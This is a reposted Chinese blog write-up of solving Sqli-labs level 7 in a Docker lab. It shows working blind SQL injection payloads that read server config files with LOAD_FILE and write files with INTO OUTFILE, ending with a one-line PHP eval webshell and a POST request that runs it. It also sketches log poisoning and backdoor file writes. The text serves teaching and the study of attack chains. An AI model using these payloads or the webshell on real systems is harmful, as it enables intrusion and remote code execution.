SQL注入实战——outfile注入,Sqli-labs第7关(下)

admin 2026-01-01 05:18:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述了Sqli-labs第7关SQL注入实战,演示了利用OUTFILE获取WebShell的完整过程。涵盖环境搭建、权限验证、Web根目录推导及权限修正。作者深入分析了现代容器化环境对传统攻击链的瓦解,提出了文件证据攻击与日志投毒等替代路径,强调理解权限边界与环境架构比单纯获取Shell更具实战价值。 综合评分: 98 文章分类: WEB安全,渗透测试,红队


,错以为搭建的靶场环境没有FILE权限,所以无法进行outfile注入,今天重新用docker搭建了sqli-labs环境,尝试outfile注入。具体错误原因将在后面的FILE权限验证中进行说明。

一、环境准备

先安装docker desktop。然后在docker hub里找到对应镜像文件,运行。

,现在只能硬着头皮继续在新的环境中进行测试了。

4.3 LOAD_FILE 行为验证(交叉确认)

我们可以在昨天的基础上更进一步,可以利用load_file()来验证我们是否写入成功,构造payload

?id=1')) and if(load_file('/tmp/test_into_outfile.txt') is not null, sleep(3), 0) --+

页面出现明显延迟,说明:

  • LOAD_FILE() 可用
  • FILE 功能真实存在

通过这两步我们可以确定,outfile权限和load_file权限均是可以执行的。但我在进行第三步secure_file_priv进行间接判断时出现与昨天学习不相符的情况。

4.4 关于 secure_file_priv 的重要说明

✅ 第三步:secure_file_priv 间接判断

?id=1')) and if(@@secure_file_priv is null, sleep(3), 0) --+

测试结果显示变量为 NULL

我以为是我搞错了secure_file_priv的值对应关系,但翻阅mysql官方文档发现并没有搞错

根据官方文档,secure_file_priv = NULL 表示禁用文件导入导出。 但在实际测试中(尤其是 Docker / 某些 MySQL 版本)

变量值 ≠ 实际行为

因此,在实战中应当遵循一个原则:

FILE 权限是否存在,应以 OUTFILE / LOAD_FILE 的执行结果为准,而不是变量本身

五、Web 根目录定位

5.1 一个必须先承认的事实

不存在任何纯 SQL 语句,可以直接查询 Web 根目录

Web 根目录属于 Web Server 配置,不属于数据库管理范畴,只能通过间接推导 + 行为验证获得。


5.2 Web 根目录的必要条件

一个目录要成为 Web 根目录,必须同时满足:

  1. 数据库进程可写
  2. Web Server 可读
  3. 可通过 HTTP 访问

缺一不可。


5.3 构造 Web 根目录候选集(不是猜测)

在 Linux 环境下,常见 Web 根目录只存在于有限集合中

| Web Server | 常见 Web 根 | | — | — | | Apache | /var/www/html/var/www/srv/http | | Nginx | /usr/share/nginx/html | | Lighttpd | /var/www | | Docker 场景 | /app/www |

这不是经验拍脑袋,而是发行版与默认配置决定的有限集合。

六、通过 Web Server 配置文件反推真实 Web 根目录

在前面的测试中,我们已经确认:

  • 数据库运行在 Linux 环境
  • FILE / LOAD_FILE 行为可用
  • Web 根目录并不位于常见默认路径

但此时仍存在一个关键不确定因素:

Web Server 是否与数据库处于同一文件系统?

如果二者不共享文件系统,那么任何 OUTFILE 写入都不可能通过 HTTP 访问。

6.1 验证数据库与 Web Server 是否文件系统互通

为验证这一点,可以尝试读取 Web Server 的配置文件。

优先测试覆盖率最高的 Apache:

?id=1')) and if(  load_file('/etc/apache2/apache2.conf') is not null,  sleep(5), 0) --+

页面出现延迟,说明:

  • 系统中存在 Apache 配置文件
  • 数据库进程具备读取权限
  • 数据库与 Web Server 至少处于同一文件系统或共享挂载环境

⚠️ 该结论并不等同于“Apache 一定是当前 Web Server”, 而是为后续反推 Web 根目录提供了必要前提。

6.2 定位 Apache VirtualHost 配置文件

在 Apache 中,Web 根目录由 VirtualHost 定义,通常位于:

/etc/apache2/sites-enabled/000-default.conf

验证文件是否可读:

?id=1')) and if(  load_file('/etc/apache2/sites-enabled/000-default.conf') is not null,  sleep(2), 0) --+

页面出现延迟,说明:

  • 该配置文件存在且可读

6.3 通过配置文件缩小 Web 根目录范围

无需字符级解析完整路径,只需通过模糊匹配缩小范围:

?id=1')) and if(  load_file('/etc/apache2/sites-enabled/000-default.conf') like '%/var/www%',  sleep(2), 0) --+

页面出现延迟,说明:

  • web根目录∈ /var/www/*

真正被映射到 HTTP 的是 DocumentRoot,Apache 中常见情况是:

  • /var/www/html
  • /var/www/site1
  • /var/www/project/public

6.4 从 VirtualHost 中定位 DocumentRoot(逻辑关键一步)

Apache 中真正决定 Web 根目录的配置项是:

DocumentRoot /path/to/webroot

我们不需要完整回显内容,只需要验证是否包含某个路径特征

6.4.1 判断是否存在默认子目录 html

?id=1')) and if(  load_file('/etc/apache2/sites-enabled/000-default.conf') like '%/var/www/html%',  sleep(2), 0) --+

页面出现延迟,说明:Web 根 = /var/www/html

七、通过 OUTFILE + HTTP 行为验证 Web 根目录

一个目录是否是真正 Web 根,必须满足:

  • OUTFILE 能写入
  • HTTP 能访问
  • 内容一致

7.1 构造“探针文件”

优先写入纯文本探针文件,用于验证路径与权限。

?id=1')) union select 1,'WEBROOT_TEST_123456',3 into outfile '/var/www/html/WEBROOT_TEST.txt' --+

通过load_file探测文件是否写入成功。

?id=1')) and if(load_file('/var/www/html/WEBROOT_TEST.txt') is not null, sleep(5),0)--+

页面无延迟,说明文件没有写入成功。

再次尝试在/tmp路径下写文件。

?id=1')) union select 1,'WEBROOT_TEST_123456',3 into outfile '/tmp/WEBROOT_TEST.txt' --+

通过load_file探测文件是否写入成功。

?id=1')) and if(load_file('/tmp/WEBROOT_TEST.txt') is not null, sleep(5),0)--+

结论解释:

  • /tmp 成功 + /var/www/html 失败 👉 不是 FILE 权限问题,是“路径级别写限制”

到这里其实可以宣布outfile注入失败了。到这里说明一个非常重要的实战结论

“确认 Web 根目录 ≠ 能向 Web 根写文件”

还必须同时满足以下条件:

| 条件 | 是否已验证 | | — | — |

| | | | — | — | | FILE 权限存在 | ✅ |

| | | | — | — | | MySQL 可写该路径 | ❌ |

| | | | — | — | | Web 可读该路径 | ✅ |

| | | | — | — | | HTTP 可访问 | ✅ |

八、研究视角下的“权限修正验证”

8.1 修改 Web 根目录权限(研究环境)

为了继续研究,我们通过尝试修改/var/www/html的执行权限。

⚠️ 说明:以下操作仅用于验证攻击链完整性, 并不属于真实攻击场景。 在实际渗透中,攻击者通常无法修改服务器目录权限

此操作的目的只有一个:

验证:如果 MySQL 拥有写权限,OUTFILE → HTTP 是否能完整闭环

chmod 777 /var/www/html

在容器中执行这个命令:

8.2 再次写入探针文件

再次尝试构造’探针’文件。

?id=1')) union select 1,'WEBROOT_TEST_123456',3 into outfile '/tmp/WEBROOT_TEST.txt' --+

8.3 再次使用 LOAD_FILE 验证写入结果

再次通过load_file探测文件是否写入成功。

?id=1')) if(load_file('/var/www/html/WEBROOT_TEST.txt') is not null

页面出现明显延迟,说明:

  • MySQL 已成功写入 Web 根目录
  • 路径与权限问题已解除

8.4 最终 HTTP 行为验证

访问

http://target/WEBROOT_TEST.txt

至此可以确认:

  • OUTFILE 写入成功
  • Web Server 可读取
  • HTTP 可正常访问
  • Web 根目录判断正确

九、在满足全部前置条件下,写入 WebShell 的完整步骤

⚠️ 说明

本章操作仅在前文所有必要条件均成立的前提下进行,

且部分步骤依赖研究环境(Docker)中的权限调整。

在真实攻击场景中,攻击者往往无法完成这些条件,因此本章的核心目的,是验证 OUTFILE → WebShell 攻击链在理论上是否完整可闭环。

9.1 写 WebShell 的必要前提回顾(不可跳过)

在开始写 WebShell 之前,必须明确以下条件已全部被行为验证

| 条件 | 状态 | | — | — | | 注入点可控 | ✅ | | FILE 权限存在(OUTFILE 行为成功) | ✅ | | Web 根目录已确认(/var/www/html) | ✅ | | MySQL 进程对 Web 根可写 | ✅(研究环境下修正) | | Web Server 可解析对应脚本 | ✅(待验证) |

👉 只有在这些条件全部成立时,写 WebShell 才具备现实意义

9.2 先写“脚本执行探针”,而不是直接写 WebShell

在严谨流程中,不应直接写一句话木马。 原因很简单:

  • Web Server ≠ 一定支持 PHP
  • 写入成功 ≠ 一定会被解析
  • 解析失败 ≠ 路径错误

因此,第一步是写入一个最小化脚本执行探针

9.2.1 写入 PHP 执行探针

构造 payload:

?id=1')) union select1,'<?php&nbsp;echo&nbsp;"PHP_EXEC_OK";&nbsp;?>',3into outfile '/var/www/html/php_test.php' --+

#

9.2.2 通过 HTTP 验证脚本是否被解析

访问:

http://target/php_test.php

结果判断:

  • 页面输出 PHP_EXEC_OK 👉 说明 PHP 已正确解析,环境满足写 WebShell 条件
  • 页面下载源码或 404

9.3 写入最小可控 WebShell(避免过度暴露)

在确认 PHP 可执行后,再写入 WebShell。 推荐使用最小功能版本,而不是功能齐全的大马。

9.3.1 构造最小 PHP WebShell

<?php&nbsp;@eval($_POST['cmd']);&nbsp;?>

该 WebShell 的特点是:

  • 体积小
  • 功能单一
  • 易于验证执行结果
  • 不依赖 GET 参数(降低日志暴露)

9.3.2 通过 OUTFILE 写入 WebShell

?id=1')) union select1,'<?php&nbsp;@eval($_POST["cmd"]);&nbsp;?>',3into outfile '/var/www/html/shell.php' --+

9.4 WebShell 可用性验证

写入成功并不代表攻击完成,必须验证代码是否真的可执行

9.4.1 通过 HTTP 访问 WebShell。

http://target/shell.php

9.4.2 发送测试命令验证执行能力``使用POST请求:

POST /shell.php HTTP/1.1Host: targetContent-Type: application/x-www-form-urlencodedContent-Length: 9cmd=phpinfo();

这里我利用了burp suite。

页面返回 PHP 配置信息,则说明:

  • WebShell 可执行
  • 代码被正确解析
  • 攻击链完整闭环

十、当 OUTFILE → WebShell 攻击链失败后,真实世界的三条替代路径

在真实环境中,OUTFILE 注入远比靶场教程中更容易失败。 失败的原因往往并非 SQL 权限不足,而是:

  • 数据库与 Web 服务文件系统隔离
  • Web 根目录不可写
  • 容器化、最小权限原则生效

但这并不意味着 FILE 权限的价值为零。 当 INTO OUTFILE 无法写入 Web 根目录时,攻击链通常会自然分流到以下三条路径。

10.1 路径一:文件写入型“证据攻击”(File Evidence Attack)

即使无法写 WebShell,任意文件写入本身就是高危能力

可行目标包括:

  • /tmp/
  • /var/tmp/
  • /dev/shm/

攻击者可以:

  • 写入标识文件(证明入侵能力)
  • 写入后门配置文件(供后续攻击利用)
  • 配合日志包含、计划任务等链路继续扩展

📌 在红队或真实漏洞评估中:

“可控文件写入” 本身即是高危结论

10.2 路径二:日志文件注入 → 二次解析(Log Poisoning)

在某些 Web Server 配置中:

  • 访问日志
  • 错误日志

Web Server 可写、Web Server 可读、甚至可被解析的文件

典型链路:

  1. SQL 注入写入恶意字符串
  2. 该字符串进入 Web 日志
  3. 通过 LFI / 模板解析触发执行

这种链路:

  • 不依赖 Web 根目录写权限
  • 在权限隔离环境中更现实

10.3 路径三:OUTFILE ≠ WebShell,而是“环境认知突破”

在越来越多的现代环境中:

  • WebShell 已不是最终目标

  • 攻击者更关注:

  • 数据泄露

  • 配置暴露

  • 认证材料

例如:

  • 写配置探针文件 → 判断挂载点
  • 写临时文件 → 推断容器边界
  • 写错误数据 → 诱导运维响应

👉 OUTFILE 的真正价值,是环境认知能力,而非 Shell 本身

十一、从 Sqli-labs 第 7 关,看现代部署环境如何“自然淘汰” OUTFILE 攻击链

Sqli-labs 的第 7 关,在今天看来,其实已经有些“复古”。

但正因为如此,它才非常适合作为一个对比样本,帮助我们理解:

为什么传统 SQL 注入攻击链正在逐渐失效

11.1 OUTFILE 攻击链的“黄金时代假设”

传统 OUTFILE → WebShell 链路,隐含了多个前提:

  • 数据库与 Web 在同一台主机
  • 共享文件系统
  • Web 根目录对数据库用户可写
  • Web Server 解析写入文件

这些假设在早期单机部署中大量成立

11.2 现代环境如何逐条打破这些前提

在你这次实验中,其实已经看到了全部答案:

| 假设 | 现实情况 | | — | — | | DB 与 Web 同机 | Docker 容器隔离 | | 共享文件系统 | 默认不共享 | | Web 根可写 | 最小权限原则 | | 写即执行 | 解析链路断裂 |

👉 攻击链并非被“修补”,而是被“结构性拆解”

11.3 为什么这并不意味着 SQL 注入“过时”

需要明确的一点是:

SQL 注入并没有消失 消失的是 “一步到 Shell” 的幻想

现代 SQL 注入更像:

  • 数据层突破
  • 环境侧信道
  • 权限边界探测器

而不是直接的 RCE 工具。

11.4 Sqli-labs 第 7 关的真正价值

第 7 关的意义,不在于:

“你是否成功写出了 WebShell”

而在于你是否理解了:

  • FILE 权限的边界
  • 操作系统权限的约束
  • 部署架构对攻击链的影响

如果我们在这关 失败得越“彻底”,反而说明越接近真实世界


十二、全文方法论总结

本文从 “不知道环境、不知道服务、不知道路径” 出发, 完整走了一条:

注入点确认 → FILE 行为验证 → 路径推导 → 行为验证 → 攻击链失败 → 原因解释

的完整分析链。

最终结论只有一句话:

在现代环境中,攻击是否成功,远比攻击者是否“理解失败”更不重要。

理解失败,才是进阶的开始。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:武文学网安 武文学网安《SQL注入实战——outfile注入,Sqli-labs第7关(下)》

工具|cscan 网络安全文章

工具|cscan

文章总结: CScan是基于Go语言开发的网络空间资产搜索工具。它具备资产发现、指纹识别、漏洞检测、Web截图及报告管理等功能,并支持分布式架构与多工作空间。该
评论:0   参与:  0